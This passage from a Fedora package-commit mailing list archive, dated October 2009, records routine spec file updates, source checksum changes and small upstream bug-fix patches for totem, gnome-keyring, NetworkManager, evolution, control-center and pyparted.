+* Sat Oct 3  2009 Devrim Gunduz <devrim at CommandPrompt.com> 2.2.4-1
+- Update to 2.2.4
+- Re-apply a fix for #442372
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.2.2-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/postgresql-pgpool-II/F-12/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	7 May 2009 10:42:03 -0000	1.11
+++ sources	2 Oct 2009 23:23:25 -0000	1.12
@@ -1,2 +1 @@
-3dc286e2217478acbc05f127e74bd300  pgpool-II-2.2.tar.gz
-6f14514ed4ed5368ad3ab7e2d4c5136b  pgpool-II-2.2.2.tar.gz
+2c9edd0512c5dc1dabab474b563a7a6c  pgpool-II-2.2.4.tar.gz



From hadess at fedoraproject.org  Fri Oct  2 23:26:26 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Fri,  2 Oct 2009 23:26:26 +0000 (UTC)
Subject: rpms/totem/F-11
	0001-Bug-594320-Playing-youtube-videos-results-in-404-in-.patch,
	NONE, 1.1 totem.spec, 1.245, 1.246
Message-ID: <20091002232626.30E3011C00C1@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/totem/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28080

Modified Files:
	totem.spec 
Added Files:
	0001-Bug-594320-Playing-youtube-videos-results-in-404-in-.patch 
Log Message:
* Sat Oct 03 2009 Bastien Nocera <bnocera at redhat.com> 2.26.3-6
- Fix YouTube plugin URLs (#521725)


0001-Bug-594320-Playing-youtube-videos-results-in-404-in-.patch:
 youtube.py |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

--- NEW FILE 0001-Bug-594320-Playing-youtube-videos-results-in-404-in-.patch ---
>From 72ee356863aac922bbe3fc4fe16e7dfbf32ae647 Mon Sep 17 00:00:00 2001
From: Bastien Nocera <hadess at hadess.net>
Date: Tue, 15 Sep 2009 14:25:21 +0100
Subject: [PATCH] =?UTF-8?q?Bug=C2=A0594320=20-=20Playing=20youtube=20videos=20results=20in=20404=20in=20gst=5Fsoup=5Fhttp=5Fsrc=5Fparse=5Fstatus()?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

The "t" parameter is a bit too escaped (it's escaped in the gdata
xml, and again by urllib.
---
 src/plugins/youtube/youtube.py |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/src/plugins/youtube/youtube.py b/src/plugins/youtube/youtube.py
index 1a9046f..11d47ea 100644
--- a/src/plugins/youtube/youtube.py
+++ b/src/plugins/youtube/youtube.py
@@ -334,7 +334,7 @@ class YouTube (totem.Plugin):
 		t_param = self.resolve_t_param (youtube_id)
 
 		if t_param != "":
-			mrl = "http://www.youtube.com/get_video?video_id=" + urllib.quote (youtube_id) + "&t=" + urllib.quote (t_param) + self.get_fmt_string ()
+			mrl = "http://www.youtube.com/get_video?video_id=" + urllib.quote (youtube_id) + "&t=" + t_param + self.get_fmt_string ()
 
 		gobject.idle_add (self._append_to_liststore, treeview_name, pixbuf, entry.title.text, mrl, youtube_id, search_token)
 
-- 
1.6.4.4



Index: totem.spec
===================================================================
RCS file: /cvs/pkgs/rpms/totem/F-11/totem.spec,v
retrieving revision 1.245
retrieving revision 1.246
diff -u -p -r1.245 -r1.246
--- totem.spec	15 Sep 2009 12:23:19 -0000	1.245
+++ totem.spec	2 Oct 2009 23:26:25 -0000	1.246
@@ -9,7 +9,7 @@
 Summary: Movie player for GNOME
 Name: totem
 Version: 2.26.3
-Release: 5%{?dist}
+Release: 6%{?dist}
 License: GPLv2+ with exceptions
 Group: Applications/Multimedia
 URL: http://projects.gnome.org/totem/
@@ -18,6 +18,7 @@ Source1: totem-bin-backend-ondemand.sh
 # Will be removed when we switch to playbin2
 Patch0: 0001-Set-the-PA-stream-volume-from-Totem.patch
 Patch1: 0001-Fix-crash-when-a-storage-volume-has-an-emblem.patch
+Patch2: 0001-Bug-594320-Playing-youtube-videos-results-in-404-in-.patch
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n) 
 
 Requires(pre): GConf2 >= 2.14
@@ -212,6 +213,7 @@ audio and video files in the properties 
 pushd totem-%{version}/
 %patch0 -p1 -b .pulsesink-vol
 %patch1 -p1 -b .emblemed-drive-crash
+%patch2 -p1 -b .youtube-urls
 popd
 # Whatever needs to be changed in both copies do here
 ## remember to update me when changing %doc
@@ -485,6 +487,9 @@ fi
 %endif
 
 %changelog
+* Sat Oct 03 2009 Bastien Nocera <bnocera at redhat.com> 2.26.3-6
+- Fix YouTube plugin URLs (#521725)
+
 * Tue Sep 15 2009 Bastien Nocera <bnocera at redhat.com> 2.26.3-5
 - Another pass at PA volume patch, should be much better
 



From mclasen at fedoraproject.org  Sat Oct  3 00:20:22 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Sat,  3 Oct 2009 00:20:22 +0000 (UTC)
Subject: rpms/gnome-keyring/F-12 gnome-keyring-no-logout-delay.patch, NONE, 
	1.1 gnome-keyring.spec, 1.130, 1.131
Message-ID: <20091003002022.3D96311C029B@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gnome-keyring/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18078

Modified Files:
	gnome-keyring.spec 
Added Files:
	gnome-keyring-no-logout-delay.patch 
Log Message:
avoid long longout delay


gnome-keyring-no-logout-delay.patch:
 gkr-daemon.c |   19 +++++++++++++------
 1 file changed, 13 insertions(+), 6 deletions(-)

--- NEW FILE gnome-keyring-no-logout-delay.patch ---
diff --git a/daemon/gkr-daemon.c b/daemon/gkr-daemon.c
index c63081e..ea85edf 100644
--- a/daemon/gkr-daemon.c
+++ b/daemon/gkr-daemon.c
@@ -43,6 +43,7 @@
 #include <unistd.h>
 #include <fcntl.h>
 #include <errno.h>
+#include <pthread.h>
 #include <stdlib.h>
 #include <stdio.h>
 #include <string.h>
@@ -90,6 +91,8 @@ static gboolean run_for_start = FALSE;
 static gchar* run_components = NULL;
 static gchar* login_password = NULL;
 static gboolean initialization_completed = FALSE;
+static gboolean s_thread_valid = FALSE;
+static pthread_t s_thread;
 
 static GOptionEntry option_entries[] = {
 	{ "foreground", 'f', 0, G_OPTION_ARG_NONE, &run_foreground, 
@@ -370,7 +373,7 @@ signal_thread (gpointer user_data)
 static void
 setup_signal_handling (GMainLoop *loop)
 {
-	GError *error = NULL;
+	int res;
 
 	/*
 	 * Block these signals for this thread, and any threads
@@ -387,11 +390,12 @@ setup_signal_handling (GMainLoop *loop)
 	sigaddset (&signal_set, SIGTERM);
 	pthread_sigmask (SIG_BLOCK, &signal_set, NULL);
 
-	g_thread_create (signal_thread, loop, FALSE, &error);
-	if (error != NULL) {
+	res = pthread_create (&s_thread, NULL, signal_thread, loop);
+	if (res == 0) {
+		s_thread_valid = TRUE;
+	} else {
 		g_warning ("couldn't startup thread for signal handling: %s",
-		           error && error->message ? error->message : "");
-		g_clear_error (&error);
+		           strerror (res));
 	}
 }
 
@@ -404,7 +408,10 @@ gkr_daemon_quit (void)
 	 * starts the shutdown process.
 	 */
 
-	raise (SIGTERM);
+	if (s_thread_valid)
+		pthread_kill (s_thread, SIGTERM);
+	else
+		raise (SIGTERM);
 }
 
 static void


Index: gnome-keyring.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-keyring/F-12/gnome-keyring.spec,v
retrieving revision 1.130
retrieving revision 1.131
diff -u -p -r1.130 -r1.131
--- gnome-keyring.spec	21 Sep 2009 16:31:31 -0000	1.130
+++ gnome-keyring.spec	3 Oct 2009 00:20:20 -0000	1.131
@@ -8,10 +8,14 @@
 Summary: Framework for managing passwords and other secrets
 Name: gnome-keyring
 Version: 2.28.0
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: GPLv2+ and LGPLv2+
 Group: System Environment/Libraries
 Source: http://download.gnome.org/sources/gnome-keyring/2.28/gnome-keyring-%{version}.tar.bz2
+
+# https://bugzilla.gnome.org/show_bug.cgi?id=595698
+Patch0: gnome-keyring-no-logout-delay.patch
+
 URL: http://www.gnome.org
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -64,6 +68,7 @@ automatically unlock the "login" keyring
 
 %prep
 %setup -q -n gnome-keyring-%{version}
+%patch0 -p1 -b .logout-delay
 
 %build
 %configure --disable-gtk-doc --with-pam-dir=/%{_lib}/security --disable-acl-prompts
@@ -141,6 +146,9 @@ fi
 
 
 %changelog
+* Fri Oct  2 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.0-2
+- Avoid a 10 second delay at logout
+
 * Mon Sep 21 2009 Tomas Bzatek <tbzatek at redhat.com> - 2.28.0-1
 - Update to 2.28.0
 



From dcbw at fedoraproject.org  Sat Oct  3 01:05:27 2009
From: dcbw at fedoraproject.org (Daniel Williams)
Date: Sat,  3 Oct 2009 01:05:27 +0000 (UTC)
Subject: rpms/NetworkManager/devel .cvsignore, 1.110,
	1.111 NetworkManager.spec, 1.288, 1.289 sources, 1.151, 1.152
Message-ID: <20091003010527.20DC311C01EA@cvs1.fedora.phx.redhat.com>

Author: dcbw

Update of /cvs/pkgs/rpms/NetworkManager/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2885

Modified Files:
	.cvsignore NetworkManager.spec sources 
Log Message:
* Fri Oct  2 2009 Dan Williams <dcbw at redhat.com> - 0.7.996-4.git20091002
- install: fix -gnome package %pre script failures (rh #526519)
- nm: fix failures validating private keys when using the NSS crypto backend
- applet: fix crashes when clicking on menu but not associated (rh #526535)
- editor: fix crash editing wired 802.1x settings
- editor: fix secrets retrieval when editing connections




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/NetworkManager/devel/.cvsignore,v
retrieving revision 1.110
retrieving revision 1.111
diff -u -p -r1.110 -r1.111
--- .cvsignore	29 Sep 2009 02:52:15 -0000	1.110
+++ .cvsignore	3 Oct 2009 01:05:26 -0000	1.111
@@ -165,3 +165,5 @@ NetworkManager-0.7.996.git20090921.tar.b
 network-manager-applet-0.7.996.git20090921.tar.bz2
 NetworkManager-0.7.996.git20090928.tar.bz2
 network-manager-applet-0.7.996.git20090928-menu-rework.tar.bz2
+NetworkManager-0.7.996.git20091002.tar.bz2
+network-manager-applet-0.7.996.git20091002.tar.bz2


Index: NetworkManager.spec
===================================================================
RCS file: /cvs/pkgs/rpms/NetworkManager/devel/NetworkManager.spec,v
retrieving revision 1.288
retrieving revision 1.289
diff -u -p -r1.288 -r1.289
--- NetworkManager.spec	29 Sep 2009 02:52:15 -0000	1.288
+++ NetworkManager.spec	3 Oct 2009 01:05:26 -0000	1.289
@@ -9,14 +9,14 @@
 %define libnl_version 1.1
 %define ppp_version 2.2.4
 
-%define snapshot .git20090928
-%define applet_snapshot .git20090928-menu-rework
+%define snapshot .git20091002
+%define applet_snapshot .git20091002
 
 Name: NetworkManager
 Summary: Network connection manager and user applications
 Epoch: 1
 Version: 0.7.996
-Release: 3%{snapshot}%{?dist}
+Release: 4%{snapshot}%{?dist}
 Group: System Environment/Base
 License: GPLv2+
 URL: http://www.gnome.org/projects/NetworkManager/
@@ -239,7 +239,7 @@ exit 0
 %pre gnome
 if [ "$1" -gt 1 ]; then
   export GCONF_CONFIG_SOURCE=`gconftool-2 --get-default-source`
-  gconftool-2 --makefile-uninstall-rule %{_sysconfdir}/gconf/schemas/nm-applet.schemas >/dev/null
+  gconftool-2 --makefile-uninstall-rule %{_sysconfdir}/gconf/schemas/nm-applet.schemas >/dev/null || :
 fi
 
 %preun gnome
@@ -342,6 +342,13 @@ fi
 %{_datadir}/gtk-doc/html/libnm-util/*
 
 %changelog
+* Fri Oct  2 2009 Dan Williams <dcbw at redhat.com> - 0.7.996-4.git20091002
+- install: fix -gnome package %pre script failures (rh #526519)
+- nm: fix failures validating private keys when using the NSS crypto backend
+- applet: fix crashes when clicking on menu but not associated (rh #526535)
+- editor: fix crash editing wired 802.1x settings
+- editor: fix secrets retrieval when editing connections
+
 * Mon Sep 28 2009 Dan Williams <dcbw at redhat.com> - 0.7.996-3.git20090928
 - nm: fix connection takeover when carrier is not on
 - nm: handle certificate paths (CA chain PEM files are now fully usable)


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/NetworkManager/devel/sources,v
retrieving revision 1.151
retrieving revision 1.152
diff -u -p -r1.151 -r1.152
--- sources	29 Sep 2009 02:52:15 -0000	1.151
+++ sources	3 Oct 2009 01:05:26 -0000	1.152
@@ -1,2 +1,2 @@
-e8d776c04616764042ba94f85d51dcaa  NetworkManager-0.7.996.git20090928.tar.bz2
-138060af68f9cdd057f83dcebfb71a50  network-manager-applet-0.7.996.git20090928-menu-rework.tar.bz2
+9993745d9f39e4ae8a6b46b5b7a5a809  NetworkManager-0.7.996.git20091002.tar.bz2
+131b83c340764d648ccce44f56683394  network-manager-applet-0.7.996.git20091002.tar.bz2



From mbarnes at fedoraproject.org  Sat Oct  3 02:23:24 2009
From: mbarnes at fedoraproject.org (Matthew Barnes)
Date: Sat,  3 Oct 2009 02:23:24 +0000 (UTC)
Subject: rpms/evolution/F-12 .cvsignore, 1.116.2.27,
	1.116.2.28 evolution.spec, 
	1.394.2.63, 1.394.2.64 sources, 1.116.2.32, 1.116.2.33
Message-ID: <20091003022324.682BE11C00C1@cvs1.fedora.phx.redhat.com>

Author: mbarnes

Update of /cvs/pkgs/rpms/evolution/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27781

Modified Files:
      Tag: private-mbarnes-kb
	.cvsignore evolution.spec sources 
Log Message:

* Fri Oct 02 2009 Matthew Barnes <mbarnes at redhat.com> - 2.28.99-1.kb.4.fc12
- Snapshot of "kill-bonobo" progress at commit 6fced70.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/evolution/F-12/.cvsignore,v
retrieving revision 1.116.2.27
retrieving revision 1.116.2.28
diff -u -p -r1.116.2.27 -r1.116.2.28
--- .cvsignore	29 Sep 2009 18:03:39 -0000	1.116.2.27
+++ .cvsignore	3 Oct 2009 02:23:23 -0000	1.116.2.28
@@ -1 +1 @@
-evolution-2.29.1-kill-bonobo-2fa61f4.tar.bz2
+evolution-2.29.1-kill-bonobo-6fced70.tar.bz2


Index: evolution.spec
===================================================================
RCS file: /cvs/pkgs/rpms/evolution/F-12/evolution.spec,v
retrieving revision 1.394.2.63
retrieving revision 1.394.2.64
diff -u -p -r1.394.2.63 -r1.394.2.64
--- evolution.spec	29 Sep 2009 18:03:39 -0000	1.394.2.63
+++ evolution.spec	3 Oct 2009 02:23:23 -0000	1.394.2.64
@@ -1,5 +1,5 @@
 # This is an unofficial RPM for testing Evolution's kill-bonobo branch.
-%define hash 2fa61f4
+%define hash 6fced70
 
 %define dbus_glib_version 0.70
 %define dbus_version 1.0
@@ -45,7 +45,7 @@
 
 Name: evolution
 Version: 2.28.99
-Release: 1.kb.3%{?dist}
+Release: 1.kb.4%{?dist}
 Group: Applications/Productivity
 Summary: Mail and calendar client for GNOME
 License: GPLv2+ and GFDL
@@ -657,6 +657,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libexecdir}/evolution/%{evo_major}/evolution-addressbook-clean
 
 %changelog
+* Fri Oct 02 2009 Matthew Barnes <mbarnes at redhat.com> - 2.28.99-1.kb.4.fc12
+- Snapshot of "kill-bonobo" progress at commit 6fced70.
+
 * Tue Sep 29 2009 Matthew Barnes <mbarnes at redhat.com> - 2.28.99-1.kb.3.fc12
 - Snapshot of "kill-bonobo" progress at commit 2fa61f4.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/evolution/F-12/sources,v
retrieving revision 1.116.2.32
retrieving revision 1.116.2.33
diff -u -p -r1.116.2.32 -r1.116.2.33
--- sources	29 Sep 2009 18:03:39 -0000	1.116.2.32
+++ sources	3 Oct 2009 02:23:23 -0000	1.116.2.33
@@ -1 +1 @@
-6f3e9f57c256b2596df051a6e42ca3b8  evolution-2.29.1-kill-bonobo-2fa61f4.tar.bz2
+c1daf24767dc4f698c4c7b09307809f1  evolution-2.29.1-kill-bonobo-6fced70.tar.bz2



From mclasen at fedoraproject.org  Sat Oct  3 02:23:54 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Sat,  3 Oct 2009 02:23:54 +0000 (UTC)
Subject: rpms/control-center/F-12 keybinding-bugs.patch, NONE,
	1.1 control-center.spec, 1.495, 1.496
Message-ID: <20091003022354.1BA3E11C00C1@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/control-center/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27856

Modified Files:
	control-center.spec 
Added Files:
	keybinding-bugs.patch 
Log Message:
fix logic errors in the keybinding capplet


keybinding-bugs.patch:
 gnome-keybinding-properties.c |   25 ++++++++++---------------
 1 file changed, 10 insertions(+), 15 deletions(-)

--- NEW FILE keybinding-bugs.patch ---
>From e0c60bbd3064a67b975d92adc417878ea8949c95 Mon Sep 17 00:00:00 2001
From: Robert Ancell <robert.ancell at canonical.com>
Date: Thu, 1 Oct 2009 12:45:25 +1000
Subject: [PATCH] Fix broken logic in keybinding tree model

---
 capplets/keybindings/gnome-keybinding-properties.c |   24 ++++++++-----------
 1 files changed, 10 insertions(+), 14 deletions(-)

diff --git a/capplets/keybindings/gnome-keybinding-properties.c b/capplets/keybindings/gnome-keybinding-properties.c
index 6e36e34..0b62f8c 100644
--- a/capplets/keybindings/gnome-keybinding-properties.c
+++ b/capplets/keybindings/gnome-keybinding-properties.c
@@ -522,11 +522,10 @@ find_section (GtkTreeModel *model,
               GtkTreeIter  *iter,
 	      const char   *title)
 {
-  gboolean success, found;
+  gboolean success;
 
-  found = FALSE;
   success = gtk_tree_model_get_iter_first (model, iter);
-  while (success && !found)
+  while (success)
     {
       char *description = NULL;
 
@@ -534,16 +533,15 @@ find_section (GtkTreeModel *model,
 			  DESCRIPTION_COLUMN, &description,
 			  -1);
 
-      found = (g_strcmp0 (description, title) == 0);
+      if (g_strcmp0 (description, title) == 0)
+        return;
       success = gtk_tree_model_iter_next (model, iter);
     }
-  if (!found)
-    {
-      gtk_tree_store_append (GTK_TREE_STORE (model), iter, NULL);
-      gtk_tree_store_set (GTK_TREE_STORE (model), iter,
-			  DESCRIPTION_COLUMN, title,
-			  -1);
-    }
+
+    gtk_tree_store_append (GTK_TREE_STORE (model), iter, NULL);
+    gtk_tree_store_set (GTK_TREE_STORE (model), iter,
+                        DESCRIPTION_COLUMN, title,
+                        -1);
 }
 
 static void
@@ -555,7 +553,6 @@ append_keys_to_tree (GtkBuilder         *builder,
   GtkTreeIter parent_iter, iter;
   GtkTreeModel *model;
   gint i, j;
-  gint rows_before;
 
   client = gconf_client_get_default ();
   model = gtk_tree_view_get_model (GTK_TREE_VIEW (gtk_builder_get_object (builder, "shortcut_treeview")));
@@ -571,7 +568,6 @@ append_keys_to_tree (GtkBuilder         *builder,
    * then we need to scroll now */
   ensure_scrollbar (builder, i - 1);
 
-  rows_before = i;
   for (j = 0; keys_list[j].name != NULL; j++)
     {
       GConfEntry *entry;
@@ -689,7 +685,7 @@ append_keys_to_tree (GtkBuilder         *builder,
   g_object_unref (client);
 
   /* Don't show an empty section */
-  if (i == rows_before)
+  if (gtk_tree_model_iter_n_children (model, &parent_iter) == 0)
     gtk_tree_store_remove (GTK_TREE_STORE (model), &parent_iter);
 
   if (i == 0)
-- 
1.6.3.3



Index: control-center.spec
===================================================================
RCS file: /cvs/pkgs/rpms/control-center/F-12/control-center.spec,v
retrieving revision 1.495
retrieving revision 1.496
diff -u -p -r1.495 -r1.496
--- control-center.spec	2 Oct 2009 05:12:39 -0000	1.495
+++ control-center.spec	3 Oct 2009 02:23:53 -0000	1.496
@@ -24,7 +24,7 @@
 Summary: Utilities to configure the GNOME desktop
 Name: control-center
 Version: 2.28.0
-Release: 13%{?dist}
+Release: 14%{?dist}
 Epoch: 1
 License: GPLv2+ and GFDL
 Group: User Interface/Desktops
@@ -64,6 +64,9 @@ Patch51: mirror-crash.patch
 # https://bugzilla.gnome.org/show_bug.cgi?id=597066
 Patch52: shell-markup.patch
 
+# https://bugzilla.gnome.org/show_bug.cgi?id=596939
+Patch53: keybinding-bugs.patch
+
 # call the Fedora/RHEL graphical passwd changing apps
 Patch95: gnome-control-center-2.25.2-passwd.patch
 Patch96: gnome-control-center-2.25.2-gecos.patch
@@ -200,6 +203,7 @@ for the GNOME desktop.
 %patch50 -p1 -b .fix-background-tooltips
 %patch51 -p1 -b .mirror-crash
 %patch52 -p1 -b .shell-markup
+%patch53 -p1 -b .keybinding-bugs
 
 # vendor configuration patches
 %patch95 -p1 -b .passwd
@@ -390,6 +394,10 @@ fi
 
 
 %changelog
+* Fri Oct  2 2009 Matthias Clasen <mclasen at redhat.com> 2.28.0-14
+- Fix some logic errors in the keybinding capplet that can lead
+  to missing entries
+
 * Fri Oct  2 2009 Matthias Clasen <mclasen at redhat.com> 2.28.0-13
 - Don't show markup in the UI
 



From dcantrel at fedoraproject.org  Sat Oct  3 02:24:28 2009
From: dcantrel at fedoraproject.org (David Cantrell)
Date: Sat,  3 Oct 2009 02:24:28 +0000 (UTC)
Subject: rpms/pyparted/devel .cvsignore, 1.36, 1.37 pyparted.spec, 1.66,
	1.67 sources, 1.41, 1.42
Message-ID: <20091003022428.3E4C811C00C1@cvs1.fedora.phx.redhat.com>

Author: dcantrel

Update of /cvs/pkgs/rpms/pyparted/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28148

Modified Files:
	.cvsignore pyparted.spec sources 
Log Message:
* Fri Oct 02 2009 David Cantrell <dcantrell at redhat.com> - 2.2-1
- Upgrade to pyparted-2.2:
      Fixes PedDisk2_ped_Disk() and avoids losing disk label data
      in the conversion process (#526999)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/pyparted/devel/.cvsignore,v
retrieving revision 1.36
retrieving revision 1.37
diff -u -p -r1.36 -r1.37
--- .cvsignore	17 Aug 2009 17:50:49 -0000	1.36
+++ .cvsignore	3 Oct 2009 02:24:27 -0000	1.37
@@ -1,2 +1 @@
-pyparted-2.1.1.tar.gz
-pyparted-2.1.2.tar.gz
+pyparted-2.2.tar.gz


Index: pyparted.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pyparted/devel/pyparted.spec,v
retrieving revision 1.66
retrieving revision 1.67
diff -u -p -r1.66 -r1.67
--- pyparted.spec	17 Aug 2009 17:50:50 -0000	1.66
+++ pyparted.spec	3 Oct 2009 02:24:28 -0000	1.67
@@ -2,7 +2,7 @@
 
 Summary: Python module for GNU parted
 Name:    pyparted
-Version: 2.1.2
+Version: 2.2
 Release: 1%{?dist}
 License: GPLv2+
 Group:   System Environment/Libraries
@@ -44,7 +44,12 @@ partition tables.
 %{python_sitearch}/parted
 
 %changelog
-* Mon Aug 17 2009 Chris Lumens <clumens at redhat.com> 2.1.2-1
+* Fri Oct 02 2009 David Cantrell <dcantrell at redhat.com> - 2.2-1
+- Upgrade to pyparted-2.2:
+      Fixes PedDisk2_ped_Disk() and avoids losing disk label data
+      in the conversion process (#526999)
+
+* Mon Aug 17 2009 Chris Lumens <clumens at redhat.com> - 2.1.2-1
 - Upgrade to pyparted-2.1.2:
       PED_DEVICE_DM is always defined in libparted these days.
       Handle parted exceptions arising from ped_device_get (#495433).


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/pyparted/devel/sources,v
retrieving revision 1.41
retrieving revision 1.42
diff -u -p -r1.41 -r1.42
--- sources	17 Aug 2009 17:50:50 -0000	1.41
+++ sources	3 Oct 2009 02:24:28 -0000	1.42
@@ -1 +1 @@
-14e970ff67d3c81c8226c779e4bbcf33  pyparted-2.1.2.tar.gz
+bb661435b7fce7bf773197c9aa2ad0ce  pyparted-2.2.tar.gz



From mbarnes at fedoraproject.org  Sat Oct  3 02:56:47 2009
From: mbarnes at fedoraproject.org (Matthew Barnes)
Date: Sat,  3 Oct 2009 02:56:47 +0000 (UTC)
Subject: rpms/evolution/F-12 evolution.spec,1.394.2.64,1.394.2.65
Message-ID: <20091003025647.2993F11C00C1@cvs1.fedora.phx.redhat.com>

Author: mbarnes

Update of /cvs/pkgs/rpms/evolution/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1887

Modified Files:
      Tag: private-mbarnes-kb
	evolution.spec 
Log Message:
Fix files list.



Index: evolution.spec
===================================================================
RCS file: /cvs/pkgs/rpms/evolution/F-12/evolution.spec,v
retrieving revision 1.394.2.64
retrieving revision 1.394.2.65
diff -u -p -r1.394.2.64 -r1.394.2.65
--- evolution.spec	3 Oct 2009 02:23:23 -0000	1.394.2.64
+++ evolution.spec	3 Oct 2009 02:56:46 -0000	1.394.2.65
@@ -526,14 +526,6 @@ rm -rf $RPM_BUILD_ROOT
 %{evo_plugin_dir}/org-gnome-evolution-startup-wizard.eplug
 %{evo_plugin_dir}/liborg-gnome-evolution-startup-wizard.so
 
-%{evo_plugin_dir}/org-gnome-exchange-operations.eplug
-%{evo_plugin_dir}/liborg-gnome-exchange-operations.so
-#%{evo_plugin_dir}/org-gnome-exchange-ab-subscription.xml
-#%{evo_plugin_dir}/org-gnome-exchange-cal-subscription.xml
-#%{evo_plugin_dir}/org-gnome-exchange-tasks-subscription.xml
-#%{evo_plugin_dir}/org-gnome-folder-permissions.xml
-#%{evo_plugin_dir}/org-gnome-folder-subscription.xml
-
 %{evo_plugin_dir}/org-gnome-groupwise-features.eplug
 %{evo_plugin_dir}/liborg-gnome-groupwise-features.so
 %{evo_plugin_dir}/org-gnome-compose-send-options.xml



From dcantrel at fedoraproject.org  Sat Oct  3 02:57:04 2009
From: dcantrel at fedoraproject.org (David Cantrell)
Date: Sat,  3 Oct 2009 02:57:04 +0000 (UTC)
Subject: rpms/pyparted/devel pyparted.spec,1.67,1.68
Message-ID: <20091003025704.BCCE911C00C1@cvs1.fedora.phx.redhat.com>

Author: dcantrel

Update of /cvs/pkgs/rpms/pyparted/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2030

Modified Files:
	pyparted.spec 
Log Message:
* Fri Oct 02 2009 David Cantrell <dcantrell at redhat.com> - 2.2-1
- Upgrade to pyparted-2.2:
      Fixes PedDisk2_ped_Disk() and avoids losing disk label data
      in the conversion process (#526999)



Index: pyparted.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pyparted/devel/pyparted.spec,v
retrieving revision 1.67
retrieving revision 1.68
diff -u -p -r1.67 -r1.68
--- pyparted.spec	3 Oct 2009 02:24:28 -0000	1.67
+++ pyparted.spec	3 Oct 2009 02:57:04 -0000	1.68
@@ -39,7 +39,7 @@ partition tables.
 
 %files
 %defattr(-,root,root,-)
-%doc AUTHORS BUGS COPYING ChangeLog NEWS README TODO WHY
+%doc AUTHORS BUGS COPYING ChangeLog NEWS README TODO
 %{python_sitearch}/_pedmodule.so
 %{python_sitearch}/parted
 



From dcantrel at fedoraproject.org  Sat Oct  3 03:01:48 2009
From: dcantrel at fedoraproject.org (David Cantrell)
Date: Sat,  3 Oct 2009 03:01:48 +0000 (UTC)
Subject: rpms/pyparted/F-12 .cvsignore, 1.36, 1.37 pyparted.spec, 1.66,
	1.67 sources, 1.41, 1.42
Message-ID: <20091003030148.5785111C00C1@cvs1.fedora.phx.redhat.com>

Author: dcantrel

Update of /cvs/pkgs/rpms/pyparted/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2962

Modified Files:
	.cvsignore pyparted.spec sources 
Log Message:
* Fri Oct 02 2009 David Cantrell <dcantrell at redhat.com> - 2.2-1
- Upgrade to pyparted-2.2:
      Fixes PedDisk2_ped_Disk() and avoids losing disk label data
      in the conversion process (#526999)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/pyparted/F-12/.cvsignore,v
retrieving revision 1.36
retrieving revision 1.37
diff -u -p -r1.36 -r1.37
--- .cvsignore	17 Aug 2009 17:50:49 -0000	1.36
+++ .cvsignore	3 Oct 2009 03:01:47 -0000	1.37
@@ -1,2 +1 @@
-pyparted-2.1.1.tar.gz
-pyparted-2.1.2.tar.gz
+pyparted-2.2.tar.gz


Index: pyparted.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pyparted/F-12/pyparted.spec,v
retrieving revision 1.66
retrieving revision 1.67
diff -u -p -r1.66 -r1.67
--- pyparted.spec	17 Aug 2009 17:50:50 -0000	1.66
+++ pyparted.spec	3 Oct 2009 03:01:48 -0000	1.67
@@ -2,7 +2,7 @@
 
 Summary: Python module for GNU parted
 Name:    pyparted
-Version: 2.1.2
+Version: 2.2
 Release: 1%{?dist}
 License: GPLv2+
 Group:   System Environment/Libraries
@@ -39,12 +39,17 @@ partition tables.
 
 %files
 %defattr(-,root,root,-)
-%doc AUTHORS BUGS COPYING ChangeLog NEWS README TODO WHY
+%doc AUTHORS BUGS COPYING ChangeLog NEWS README TODO
 %{python_sitearch}/_pedmodule.so
 %{python_sitearch}/parted
 
 %changelog
-* Mon Aug 17 2009 Chris Lumens <clumens at redhat.com> 2.1.2-1
+* Fri Oct 02 2009 David Cantrell <dcantrell at redhat.com> - 2.2-1
+- Upgrade to pyparted-2.2:
+      Fixes PedDisk2_ped_Disk() and avoids losing disk label data
+      in the conversion process (#526999)
+
+* Mon Aug 17 2009 Chris Lumens <clumens at redhat.com> - 2.1.2-1
 - Upgrade to pyparted-2.1.2:
       PED_DEVICE_DM is always defined in libparted these days.
       Handle parted exceptions arising from ped_device_get (#495433).


